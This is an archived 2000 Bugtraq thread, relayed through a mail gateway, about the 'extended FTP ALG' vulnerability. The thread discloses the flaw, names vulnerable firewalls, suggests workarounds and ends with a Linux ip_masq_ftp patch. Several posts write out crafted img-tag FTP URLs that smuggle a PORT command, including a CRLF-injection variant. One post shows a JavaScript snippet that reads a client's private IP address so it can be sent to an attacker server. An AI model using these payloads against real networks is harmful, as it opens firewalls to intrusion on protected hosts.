4888941 2000-03-12 00:41 /215 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <10185>
Ärende: Extending the FTP "ALG" vulnerability to any FTP client
------------------------------------------------------------
Extending the FTP "ALG" vulnerability to any FTP client
Author: Mikael Olsson, EnterNet Sweden
E-mail: mikael.olsson@enternet.se
Date: 2000-03-10
Synopsis
----------
For those of you that followed the discussion about the
"Multiple Firewalls FTP PASV ALG Vulnerability", here's
another take, but this time we'll attempt to break through
to internal clients protected by firewalls with bad
application layer filters.
Basic idea : how to open arbitrary ports against a client
-----------------------------------------------------------
* Send a HTML email to an HTML-enabled mail reader
containing the tag
<img src="ftp://ftp.rooted.com/aaaa[lots of A]aaaPORT 1,2,3,4,0,139">
You could also conceivably plant a web page somewhere on
a server containing this link. Please reference the
* Balance the number of A so that the PORT command will begin
on a new packet boundary. This may also be done by having
the server use a low TCP MSS to decrease the number of A's that
one has to add.
* The firewall in question will incorrectly parse the resulting
RETR /aaaaaaaa[....]aaaaaPORT 1,2,3,4,0,139
as first a RETR command and then a PORT command and open
port 139 against your address (1.2.3.4 in this case)
* Now the server ftp.rooted.com can connect to the client on
port 139. Ouch.
Before you ask:
No, it does not have to be port 139. It can be any port.
Some firewalls disallow "known server ports" for these connections;
such ports cannot be used, but I'm betting there are plenty other
ports that can be used in such cases.
Address translation playing games
-----------------------------------
You have to know the IP address of the client in order to
fool the firewall into opening the port.
If the client is not dynamically NATed, this is easy.
If the client IS dynamically NATed, this is a bit harder.
How to make it work through address translation
-------------------------------------------------
There are several ways to figure out what the private
address is. Here's two:
* Send an email to the address in question containing an img
src ftp://ftp.rooted.com:23456 and hope that the firewall
won't realise that port 23456 is FTP. PORT commands won't
be translated this way, so the private IP adress will be
exposed. This assumes that 23456 is allowed through the
firewall and that it won't attempt to parse FTP command data
on that port.
* Send an email with a link to a web page that contains javascript
that extracts the private IP address and posts it to the server.
The javascript code below works on Netscape; I don't know what the
equivalent is for MSIE.
vartool=java.awt.Toolkit.getDefaultToolkit();
addr=java.net.InetAddress.getLocalHost();
ip=addr.getHostAddress();
Once we know about the IP address, we can adjust the img src
so that it is valid for that specific internal client.
The dynamic translation will also likely change the port number
opened on the NAT:ed public address, but that's ok. All we have
to do is read the command packet containing the PORT command, and
we'll know what public address and port to connect to in order to
get to "port 139" of the "protected" client.
What about Checkpoint's FTP PASV fix for FW-1?
------------------------------------------------
Checkpoint's fix for FW-1 is to make sure that every packet
in the command stream ends with CRLF (0x0a 0x0d in hex).
That would help against the above attack, but not if we
modify it a wee bit:
src="ftp://ftp.rooted.com/aaaaaaa%0a%0dPORT 1,2,3,4,0,139"
Ouch. This WILL work in a browser (I've verified it using
a network sniffer, anyone care for a packet dump?).
The firewall will see this as two separate commands:
RETR aaaaaaaaaa
PORT 1,2,3,4,0,139
which means that poorly implemented proxies are likely to
be vulnerable aswell.
Other fixes?
--------------
I havent seen other firewall vendors make public claims that they
protect against any of these attacks. Cisco is apparently working
on a fix for PIX, but it's taking time, so I'm guessing they're
doing it the right way - since doing it the right way really does
take quite a bit of time.
It would seem like all the others are silently going to sneak
fixes into their upcoming updates and pretend like they never
were vulnerable in the first place. Grumble.
What firewalls are likely to be vulnerable?
---------------------------------------------
This specific attack is likely to work against most "stateful
inspection" firewalls with poorly implemented application layer
filters. This probably includes most products out there.
It may also affect poorly implemented "proxies" when the CRLF
is added before the PORT command as described above.
Has this been verified?
-------------------------
Nope. I'm theorizing. But that's what I did with the FTP PASV
attack aswell, and right enough, less than a day later reports
came dropping in, and a few days after that Dug Song had written
a generic proof-of-concept hack. Care to type up another one?
References
------------
My original discussion on opening arbitrary ports to FTP servers
from vuln-dev, date 2000-02-08, entitled "Breaking through FTP ALGs
-- is it possible?"
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-02-8&msg=389FEB7B.AA290CC7@enternet.se
Example attack against FW-1 by John McDonald and Thomas Lopatic of
Data Protect, date 2000-02-09, entitled "FireWall-1 FTP Server
Vulnerability"
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-02-8&msg=38A1B2D9.3B244FAB@dataprotect.com
The entire thread following John McDonald's post, which delves
deeper into this issue and adds other ways of exploiting the
vulnerability:
http://www.securityfocus.com/templates/archive.pike?list=1&date=2000-02-15&thread=Pine.BSO.4.10.10002181711020.9857-100000@funky.monkey.org
Checkpoint's quick fix for FW-1 to counter the PASV attack
against servers:
http://www.checkpoint.com/techsupport/alerts/pasvftp.html
Cisco's statement regarding ongoing work for the PIX:
http://lists.gnac.net/firewalls/mhonarc/firewalls.200003/msg00090.html
"The great picture"
---------------------
Other protocols than FTP are likely to be affected by this
type of vulnerability - pretty much any protocol that opens
up ephereal ports after the initial command session. A couple
that come to mind are:
* Oracle SQL*Net (versions using separate data channels)
* RealAudio/Video (secondary UDP channel)
* H.323 (NetMeeting et al)
Workarounds to this specific vulnerability
--------------------------------------------
* Disable active FTP. Errrr, wait. The fix for the server side
vulnerability was to disable passive FTP. Let's rephrase that:
* Disable FTP altogether. Block port 21. Disable FTP Application
Layer Filters on all ports in your firewall.
* If you can't change the settings in your firewall, set the
"FTP Proxy" setting in your browser/HTML-enabled mail reader
to some address that doesn't exist, like 127.0.0.2. After
this change, your browser won't be able to connect anywhere
using FTP.
Take care, everyone
/Mike
--
Mikael Olsson, EnterNet Sweden AB, Box 393, S-891 28 ÖRNSKÖLDSVIK
Phone: +46 (0)660 105 50 Fax: +46 (0)660 122 50
Mobile: +46 (0)70 66 77 636
WWW: http://www.enternet.se E-mail: mikael.olsson@enternet.se
(4888941) ------------------------------------------(Ombruten)
4889024 2000-03-12 01:49 /19 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <10191>
Ärende: Re: Extending the FTP "ALG" vulnerability to any FTP client
------------------------------------------------------------
On Fri, 10 Mar 2000, Mikael Olsson wrote:
> I'm theorizing. But that's what I did with the FTP PASV
> attack aswell, and right enough, less than a day later reports
> came dropping in, and a few days after that Dug Song had written
> a generic proof-of-concept hack. Care to type up another one?
since you asked so nicely. :-)
http://www.monkey.org/~dugsong/ftpd-ozone.c.txt
reverse firewall penetration is really nothing new, though...
-d.
---
http://www.monkey.org/~dugsong/
(4889024) ------------------------------------------
4901886 2000-03-15 06:30 /31 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <10224>
Kommentar till text 4888941 av Brevbäraren (som är implementerad i) Python
Ärende: Re: Extending the FTP "ALG" vulnerability to any FTP client
------------------------------------------------------------
Mikael Olsson wrote:
> * Send an email to the address in question containing an img
> src ftp://ftp.rooted.com:23456 and hope that the firewall
> won't realise that port 23456 is FTP.
It would be nice if the browsers had a "disallow FTP to non-
standard ports" checkbox.
> That would help against the above attack, but not if we
> modify it a wee bit:
>
> src="ftp://ftp.rooted.com/aaaaaaa%0a%0dPORT 1,2,3,4,0,139"
Actually, on some firewalls you might be able to skip
all the aaaaaaa's then, since PORT is now legitamately another
command.
> Ouch. This WILL work in a browser
Then that browser has a bug that needs to be fixed. There's
no way for a FTP filename to legitamately have a CRLF string
inside it - if the browser allows embedding them then
they essentially allow a link to include arbitrary FTP
commands, and that's not good.
You might want to check if the (unspecified) browser has
similar bugs in other protocols.
-Mitch
(4901886) ------------------------------------------
Kommentar i text 4901891 av Brevbäraren (som är implementerad i) Python
Läsa nästa kommentar.
4901891 2000-03-15 06:32 /57 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <10229>
Kommentar till text 4901886 av Brevbäraren (som är implementerad i) Python
Ärende: Re: Extending the FTP "ALG" vulnerability to any FTP client
------------------------------------------------------------
Mitchell Blank Jr wrote:
>
> It would be nice if the browsers had a "disallow FTP to non-
> standard ports" checkbox.
Yup. Same thing for HTTP actually, since content analyzing filters
and the like might only be analyzing port 80 and not port 8080
or whatever.
> > src="ftp://ftp.rooted.com/aaaaaaa%0a%0dPORT 1,2,3,4,0,139"
>
> Actually, on some firewalls you might be able to skip
> all the aaaaaaa's then, since PORT is now legitamately another
> command.
True. Anything that reassembles the command stream completely
would be fooled by just the %0a%0d combination; no need
to fool around with packet boundaries.
>
> > This WILL work in a browser
>
> Then that browser has a bug that needs to be fixed.
Yup.
> You might want to check if the (unspecified) browser has
> similar bugs in other protocols.
Sorry for not specifying what browser I'm using.
This was tested on Netscape v4.7.
Preliminary reports indicate that the %0d%0a variant
of this attack does not work on MSIE4/5 since it (correctly)
strips such characters for FTP.
<un-called-for ms bashing>
Sorry for not having tested the %0a%0d variant on other browsers;
I just refuse to install MSIE. The thought of suddenly having
desktop apps (word processor etc) that can't differentiate between
local files and web stuff isn't all too appealing to me.
</un-called-for ms bashing>
Note to everyone: This does not mean that you're automatically safe
if you're using MSIE. It depends on your firewall. I'd say that
chances are fairly high that your browser of choice won't really
make a difference in 95% of the cases; the firewall is the key.
--
Mikael Olsson, EnterNet Sweden AB, Box 393, S-891 28 ÖRNSKÖLDSVIK
Phone: +46-(0)660-105 50 Fax: +46-(0)660-122 50
Mobile: +46-(0)70-66 77 636
WWW: http://www.enternet.se E-mail: mikael.olsson@enternet.se
(4901891) ------------------------------------------
4901893 2000-03-15 06:33 /53 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <10230>
Kommentar till text 4888941 av Brevbäraren (som är implementerad i) Python
Ärende: Re: Extending the FTP "ALG" vulnerability to any FTP client
------------------------------------------------------------
Hello,
> * Send a HTML email to an HTML-enabled mail reader
> containing the tag
> <img src="ftp://ftp.rooted.com/aaaa[lots of A]aaaPORT 1,2,3,4,0,139">
I was playing with that recently as well. Yes, this works. Some
browsers add an extra "/" to such requests (at least on the first
check, for a directory), so one might want to add %0d%0a to the end.
It's also important that this is either an ftp URL, or some other
text-based protocol directed to 21/tcp (such as, http://server:21).
> * Balance the number of A so that the PORT command will begin
> on a new packet boundary. This may also be done by having
> the server use a low TCP MSS to decrease the number of A's that
> one has to add.
This is not always necessary. Linux's ip_masq_ftp module is happy to
detect PORT anywhere in packets travelling to 21/tcp.
> * The firewall in question will incorrectly parse the resulting
> RETR /aaaaaaaa[....]aaaaaPORT 1,2,3,4,0,139
> as first a RETR command and then a PORT command and open
> port 139 against your address (1.2.3.4 in this case)
It will also translate the PORT command, so that ftp.rooted.com sees
the firewall's IP address and port number that's currently redirected
to client:139.
> * Disable active FTP. Errrr, wait. The fix for the server side
> vulnerability was to disable passive FTP. Let's rephrase that:
>
> * Disable FTP altogether. Block port 21. Disable FTP Application
> Layer Filters on all ports in your firewall.
There's a partial workaround: only allow access to non-privileged
ports. Yes, there can still be vulnerable services on those. :-(
I haven't tested if this would work with real-world FTP clients on
Win32 -- are there any that would use privileged ports?
> * If you can't change the settings in your firewall, set the
> "FTP Proxy" setting in your browser/HTML-enabled mail reader
> to some address that doesn't exist, like 127.0.0.2. After
> this change, your browser won't be able to connect anywhere
> using FTP.
That doesn't help against the http://...:21 trick.
Signed,
Solar Designer
(4901893) ------------------------------------------
4901899 2000-03-15 06:35 /295 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <10236>
Ärende: Update: Extending the FTP "ALG" vulnerability to any FTP client
------------------------------------------------------------
Extending the FTP "ALG" vulnerability to any FTP client
Author: Mikael Olsson, EnterNet Sweden <mikael.olsson@enternet.se>
Original Date: 2000-03-10
Originally posted to: Bugtraq, Vuln-dev (BID 1045)
Vendor contacted: Nope, sorry, too many.
Updated: 2000-03-14
- Added exploit by Dug Song <dugsong@monkey.org>
- Added browser-specific info
- Begun writing a list of firewalls expected to be vulnerable
- Rewrote a couple of paragraphs that were causing much head
scratching
Synopsis
----------
It is possible to cause many firewalls to open arbitrary ports
allowing external hosts to connect to "protected" clients.
In this case, it is done by fooling the protected client
into sending a specially crafted FTP request through the firewall,
which it misinterprets as a legitimate FTP "PORT" command.
Basic idea : how to open arbitrary ports against a client
-----------------------------------------------------------
* Send a HTML email to an HTML-enabled mail reader
containing the tag
<img src="ftp://ftp.rooted.com/aaaa[lots of A]aaaPORT 1,2,3,4,0,139">
You could also conceivably plant a web page somewhere on
a server containing this link. Please reference CERT advisory
CA-2000-02: Malicious HTML Tags Embedded in Client Web Requests
http://www.cert.org/advisories/CA-2000-02.html
* Balance the number of A so that the PORT command will begin
on a new packet boundary. This may also be done by having
the server use a low TCP MSS to decrease the number of A's that
one has to add.
* The firewall in question will incorrectly parse the resulting
RETR /aaaaaaaa[....]aaaaaPORT 1,2,3,4,0,139
as first a RETR command and then a PORT command and open
port 139 against your address (1.2.3.4 in this case)
* Now the server ftp.rooted.com can connect to the client on
port 139. Ouch.
Before you ask:
No, it does not have to be port 139. It can be any port.
Some firewalls disallow "known server ports" for these connections;
such ports cannot be used, but I'm betting there are plenty other
ports that can be used in such cases.
Address translation playing games
-----------------------------------
You have to know the IP address of the client in order to
fool the firewall into opening the port.
If the client is not dynamically NATed, this is easy.
If the client IS dynamically NATed, this is a bit harder.
How to make it work through address translation
-------------------------------------------------
There are several ways to figure out what the private
address is. Here's two:
* Send an email to the address in question containing an img
src ftp://ftp.rooted.com:23456 and hope that the firewall
won't realise that port 23456 is FTP. PORT commands won't
be translated this way, so the private IP adress will be
exposed. This assumes that 23456 is allowed through the
firewall and that it won't attempt to parse FTP command data
on that port.
* Send an email with a link to a web page that contains javascript
that extracts the private IP address and posts it to the server.
The javascript code below works on Netscape; I don't know what the
equivalent is for MSIE.
vartool=java.awt.Toolkit.getDefaultToolkit();
addr=java.net.InetAddress.getLocalHost();
ip=addr.getHostAddress();
Once we know about the IP address, we can adjust the img src
so that it is valid for that specific internal client.
The dynamic translation will also likely change the port number
opened on the NAT:ed public address, but that's ok. All we have
to do is have our fake FTP server read the command packet containing
the PORT command, as changed by the firewall, and we'll know what
public address and port to connect to in order to get to our desired
port on the "protected" client.
I think I've heard about reverse firewall penetration before
--------------------------------------------------------------
Yeah, the idea of internal users fooling a firewall to let them
out isn't new, but the scope of this vulnerability is "new" IMHO.
Basically, you can get at anyone with a browser or HTML-enabled
mail reader protected by firewalls that have more than 50% market
coverage. That's bad.
What about Checkpoint's FTP PASV fix for FW-1?
------------------------------------------------
Checkpoint's fix for FW-1 is to make sure that every packet
in the command stream ends with CRLF (0x0a 0x0d in hex).
That would help against the above attack, but not if we
modify it a wee bit:
src="ftp://ftp.rooted.com/aaaaaaa%0a%0dPORT 1,2,3,4,0,139"
Ouch. This WILL work in Netscape v4.7 (I've verified it using
a network sniffer, anyone care for a packet dump?).
The firewall will see this as two separate commands:
RETR aaaaaaaaaa
PORT 1,2,3,4,0,139
which means that poorly implemented proxies are likely to
be vulnerable aswell.
This in and of itself is a browser bug IMHO. Line feeds are
not valid characters in a file name.
Added: 2000-03-14
Apparently, this CRLF variant will _not_ work in MSIE (version
unknown?). It's doing the right thing: stripping out the CRLF.
(Second hand info, I have not verified MSIE's behaviour)
No information on other browsers or mail readers.
Other fixes?
--------------
I havent seen other firewall vendors make public claims that they
protect against any of these attacks. Cisco is apparently working
on a fix for PIX, but it's taking time, so I'm guessing they're
doing it the right way - since doing it the right way really does
take quite a bit of time.
It would seem like all the others are silently going to sneak
fixes into their upcoming updates and pretend like they never
were vulnerable in the first place. Grumble.
Added: 2000-03-14
I suspect that FW-1's security servers may disable this
attack. (Dunno, I'm not an FW-1 user)
What firewalls are likely to be vulnerable?
---------------------------------------------
This specific attack is likely to work against most "stateful
inspection" firewalls with poorly implemented application layer
filters. This probably includes most products out there.
It may also affect poorly implemented "proxies" when the CRLF
is added before the PORT command as described above.
Added: 2000-03-14
Checkpoint FW-1 v3 is likely to allow connections on most
ports 1024-65535 with full bidirectional communication
Checkpoint FW-1 v4 is likely to allow connection on most
ports 1024-65535 with only unidirectional communication
Cisco PIX is likely to allow connections to any port
with full bidirectional communication
Linux's ip_masq_ftp module is _really_ easy to fool, according
to Solar Designer. It will accept a "PORT" command anywhere
in a packet. This means that even this is likely to work:
"http://rooted.com:21/PORT 1,2,3,4,0,139"
This is likely NOT a complete list. And no, I'm not going to get in
touch with vendors and report the vulnerability. There are just
too many that are likely to be affected.
Exploit code (Added 2000-03-14)
---------------------------------
Dug Song <dugsong@monkey.org> kindly typed up a quick exploit to test
this vulnerability:
http://www.monkey.org/~dugsong/ftpd-ozone.c.txt
What you basically do is install this beauty as a fake FTP server
and trick the client that you want to attack into connecting to it
by making them display an HTML page with a specially crafted "img"
tag.
The code above implements the server side, and also calculates
the exact URL to send to the victim.
References
------------
My original discussion on opening arbitrary ports to FTP servers
from vuln-dev, date 2000-02-08, entitled
"Breaking through FTP ALGs -- is it possible?"
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-02-8&msg=389FEB7B.AA290CC7@enternet.se
Example attack against FW-1 by John McDonald and Thomas Lopatic
of Data Protect, date 2000-02-09, entitled
"FireWall-1 FTP Server Vulnerability"
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-02-8&msg=38A1B2D9.3B244FAB@dataprotect.com
The entire thread following John McDonald's post, which delves
deeper into this issue and adds other ways of exploiting the
vulnerability:
http://www.securityfocus.com/templates/archive.pike?list=1&date=2000-02-15&thread=Pine.BSO.4.10.10002181711020.9857-100000@funky.monkey.org
Checkpoint's quick fix for FW-1 to counter the PASV attack
against servers:
http://www.checkpoint.com/techsupport/alerts/pasvftp.html
Cisco's statement regarding ongoing work for the PIX:
http://lists.gnac.net/firewalls/mhonarc/firewalls.200003/msg00090.html
CERT advisory CA-2000-02: Malicious HTML Tags Embedded in
Client Web Requests:
http://www.cert.org/advisories/CA-2000-02.html
"The great picture"
---------------------
Other protocols than FTP are likely to be affected by this
type of vulnerability - pretty much any protocol that opens
up ephereal ports after the initial command session. A couple
that come to mind are:
* Oracle SQL*Net (versions using separate data channels)
* RealAudio/Video (secondary UDP channel)
* H.323 (NetMeeting et al)
THIS IS NOT A COMPLETE LIST. Those were just a couple of
common ones off the top of my head.
Workarounds to this specific vulnerability
--------------------------------------------
* Disable active FTP. Errrr, wait. The fix for the server side
vulnerability was to disable passive FTP. Let's rephrase that:
* Disable FTP altogether. Block port 21. Disable FTP Application
Layer Filters on all ports in your firewall.
* If you can't change the settings in your firewall, set the
"FTP Proxy" setting in your browser/HTML-enabled mail reader
to some address that doesn't exist, like 127.0.0.2. After
this change, your browser won't be able to connect anywhere
using FTP.
(From Solar Designer: This does not help if you're using
ip_masq_ftp, since it'll be fooled by HTTP looking like FTP.)
Take care, everyone
/Mike
--
Mikael Olsson, EnterNet Sweden AB, Box 393, S-891 28 ÖRNSKÖLDSVIK
Phone: +46 (0)660 105 50 Fax: +46 (0)660 122 50
Mobile: +46 (0)70 66 77 636
WWW: http://www.enternet.se E-mail: mikael.olsson@enternet.se
(4901899) ------------------------------------------(Ombruten)
4923154 2000-03-21 09:42 /31 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <10328>
Ärende: Patch: ip_masq_ftp / Linux 2.2.x (extended FTP ALG vulnerabilty)
------------------------------------------------------------
Hi all,
(This is a copy of a message I sent to the linux-kernel list.)
Attached is a patch I created to address the "extended FTP ALG"
vulnerability discussed on Bugtraq in the past few days (there's an
URL in the patch comments). It prevents bogus (and legitimate) PORT
commands from creating backward tunnels to ports below 1024, and to a
(short) list of user-defined ports.
I've tested the patch with Linux 2.2.13, with help from the
ftpd-ozone program by Dug Song
(http://www.monkey.org/~dugsong/ftpd-ozone.c.txt). People who want
to test this themselves should take note that the port number
reported by ftpd-ozone is one below the hole opened by ip_masq_ftp.
I realize this patch isn't perfect, but it's probably better than
nothing. Sorry for the waste of bandwidth if this has already been
addressed.
AFAIK the ftp masquerading code hasn't changed much since 2.0.x, so
this patch may be applicable to older kernels as well.
Please Cc: any replies to me, I'm not subscribed to linux-kernel. Any
feedback on this patch is appreciated.
--
Bjarni R. Einarsson PGP: 02764305, B7A3AB89
bre@netverjar.is -><- http://bre.klaki.net/
Netverjar gegn ruslpósti: http://www.netverjar.is/baratta/ruslpostur/
(4923154) ------------------------------------------(Ombruten)
Kommentar i text 4923155 av Brevbäraren (som är implementerad i) Python
Läsa nästa kommentar.
4923155 2000-03-21 09:42 /88 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <10329>
Kommentar till text 4923154 av Brevbäraren (som är implementerad i) Python
Ärende: Bilaga till: Patch: ip_masq_ftp / Linux 2.2.x (extended FTP ALG vulnerabilty)
------------------------------------------------------------
--- linux/net/ipv4/ip_masq_ftp.c.org Mon Oct 5 21:28:09 1998
+++ linux/net/ipv4/ip_masq_ftp.c Mon Mar 20 14:07:06 2000
@@ -16,7 +16,7 @@
* Juan Jose Ciarlante : Litl bits for 2.1
* Juan Jose Ciarlante : use ip_masq_listen()
* Juan Jose Ciarlante : use private app_data for own flag(s)
- *
+ * Bjarni R. Einarsson : Added protection against "extended FTP ALG attack"
*
*
* This program is free software; you can redistribute it and/or
@@ -34,7 +34,21 @@
* /etc/conf.modules (or /etc/modules.conf depending on your config)
* where modload will pick it up should you use modload to load your
* modules.
- *
+ *
+ * Protection against the "extended FTP ALG vulnerability".
+ * This vulnerability was reported in:
+ *
+
*
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-03-08&msg=38C8C8EE.544524B1@enternet.se
+ *
+ * The protection here is very simplistic, but it at least
denies access
+ * to all ports under 1024, and allows the user to specify an
additional
+ * list of high ports on the insmod command line, like this:
+ * noport=x1,x2,x3, ...
+ * Up to MAX_MASQ_APP_PORTS (normally 12) ports may be specified, the
+ * default blocks access to the X server (port 6000) only.
+ *
+ * Patch by Bjarni R. Einarsson <bre@netverjar.is>. The
original patch is
+ * available at: http://bre.klaki.net/programs/ip_masq_ftp.2000-03-20.diff
*/
#include <linux/config.h>
@@ -61,6 +75,13 @@
struct ip_masq_app *masq_incarnations[MAX_MASQ_APP_PORTS];
/*
+ * List of ports (up to MAX_MASQ_APP_PORTS) we don't allow ftp-data
+ * connections to. Default is to block connections to port 6000 (X
servers).
+ * This is in addition to all ports under 1024.
+ */
+static int noport[MAX_MASQ_APP_PORTS] = {6000, 0}; /* I rely on the trailing items being set to zero */
+
+/*
* Debug level
*/
#ifdef CONFIG_IP_MASQ_DEBUG
@@ -69,6 +90,7 @@
#endif
MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");
+MODULE_PARM(noport, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");
/* Dummy variable */
static int masq_ftp_pasv;
@@ -100,7 +122,7 @@
struct ip_masq *n_ms;
char buf[24]; /* xxx.xxx.xxx.xxx,ppp,ppp\000 */
unsigned buf_len;
- int diff;
+ int diff, i, unsafe;
skb = *skb_p;
iph = skb->nh.iph;
@@ -140,6 +162,20 @@
from = (p1<<24) | (p2<<16) | (p3<<8) | p4;
port = (p5<<8) | p6;
+
+ if (port < 1024)
+ {
+ IP_MASQ_DEBUG(1-debug, "Unsafe PORT %X:%X detected, ignored\n",from,port);
+ continue;
+ }
+
+ for (unsafe = i = 0; (i < MAX_MASQ_APP_PORTS) && (noport[i]); i++)
+ if (port == noport[i])
+ {
+ IP_MASQ_DEBUG(1-debug, "Unsafe PORT %X:%X detected, ignored\n",from,port);
+ unsafe = 1;
+ }
+ if (unsafe) continue;
IP_MASQ_DEBUG(1-debug, "PORT %X:%X detected\n",from,port);
(4923155) ------------------------------------------(Ombruten)